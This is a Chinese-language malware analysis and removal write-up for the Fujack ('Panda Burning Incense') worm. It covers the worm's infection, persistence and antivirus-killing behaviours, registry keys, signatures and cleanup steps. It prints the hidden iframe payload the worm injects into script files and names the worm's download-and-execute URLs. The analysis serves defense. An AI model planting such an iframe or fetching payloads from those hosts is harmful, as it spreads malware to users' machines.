发布于2022年11月8日2年前 目录 1．样本概况 1.1 样本信息 1.2 测试环境及工具 1.3 分析目标 2．具体行为分析 2.1 主要恶意行为与代码分析 2.1.1 恶意程序对用户造成的危害 3．解决方案 3.1 提取病毒的特征，利用杀毒软件查杀 3.2 工具查杀思路 参考文献 1．样本概况 1.1 样本信息 病毒名称：Worm.Win32.Fujack.i 所属家族：Fujack MD5值：5591324836B58B8E11CB61521E1A9B84 SHA1值：D8D82132318C614531864EE4EA553414B4480987 CRC32：F67C829D 编写语言：Delphi 壳：FSG v2.0 病毒恶意行为： 1、病毒将自身复制到C:/Windows/driver目录下 2、病毒在每个目录创建Desktop_.ini文件，文件内容为当前日期 3、病毒在C盘根目录创建autorun.inf文件，其中指定setup.exe自启动,后者即为病毒样本 4、病毒对程序目录下的exe等格式的文件进行感染，，图标变为熊猫烧香，打开被感染文件时，自动运行恶意代码 5、修改注册表项、隐藏病毒文件、设置病毒自启动、关闭杀毒软件服务 6、建立网络连接，在特定网址处下载更新病毒样本并执行 7、删除系统GHOST文件 8、根据名称关闭杀毒软件窗口、终结杀毒软件进程与部分系统进程（比如任务管理器、注册表编辑器），通过模拟按键关闭冰刃等安全软件 1.2 测试环境及工具 环境：Windows7 工具:IDA PRO、15PBOD、火绒剑、PEID等 1.3 分析目标 目标：分析病毒行为及实现过程，提取特征码、寻求解决方案 2．具体行为分析 2.1 主要恶意行为与代码分析 行为：病毒自我复制 关键代码： 行为：在每个目录创建Desktop_.ini文件 关键代码： 行为：C盘根目录创建autorun.inf、setup.exe文件 关键代码： 行为：感染指定格式的文件 关键代码： 检测可执行文件格式 感染exe等文件 检测脚本文件格式 感染脚本文件，向其中写入"<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>"\r\n 疑似用于访问特定网址 行为：修改注册表 关键代码： 设置病毒自启动与文件隐藏 关闭系统以及杀毒软件服务 行为：进行网络通讯 关键代码： 连接www.tom.com等知名网站，疑似测试网络环境 连接www.ac86.cn/66/up.txt，下载文件并执行 连接http://update.whboy.net/worm.txt，下载文件并执行 行为：删除系统GHOST文件 关键代码 行为：根据名称关闭防护软件窗口 关键代码 行为：根据名称终结防护软件进程 关键代码 行为：通过模拟按键关闭冰刃等安全软件 关键代码 2.1.1 恶意程序对用户造成的危害 特定后缀的文件内容被更改、文件图标被修改 被感染文件前7531h字节被病毒覆盖 被感染文件的原代码被保存在病毒代码之后 被感染文件最后被添加了被感染标识，包含原文件大小 无法使用注册表编辑器、任务管理器等工具 磁盘目录被写入病毒副本（setup.exe）以及自动启动程序（autorun.inf）以及其他文件（Desktop_.ini） 3．解决方案 3.1 提取病毒的特征，利用杀毒软件查杀 特征： whboy ***武*汉*男*生*感*染*下*载*者*** www.ac86.cn/66/up.txt http://update.whboy.net/worm.txt 3.2 工具查杀 根据其病毒行为该病毒查杀思路应该包括以下几个方面： 删除文件 关闭病毒进程 删除C:/Windows/driver目录下病毒样本spo0lsv.exe 删除C盘根目录的setup.exe以及自动启动程序autorun.inf 删除各个目录下Desktop_.ini 删除病毒从网络下载到c盘根目录的文件 2、修复注册表 删除病毒自启动和病毒隐藏注册表项（推荐用户手工修改） HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue 删除病毒创建的注册表项 HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\spo0lsv_RASMANCS HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\spo0lsv_RASAPI32 恢复病毒删除的杀毒软件自启动注册表项 恢复病毒修改的网络设置相关启动项 3、根据受感染文件整体大小，病毒样本大小，被添加的后缀大小，计算受感染文件原代码在文件中的偏移，尝试修复文件 恢复被感染文件的代码 参考文献 [1] 15PB教研组. 恶意代码分析实例熊猫烧香.北京蓝森科技有限公司
创建帐户或登录后发表意见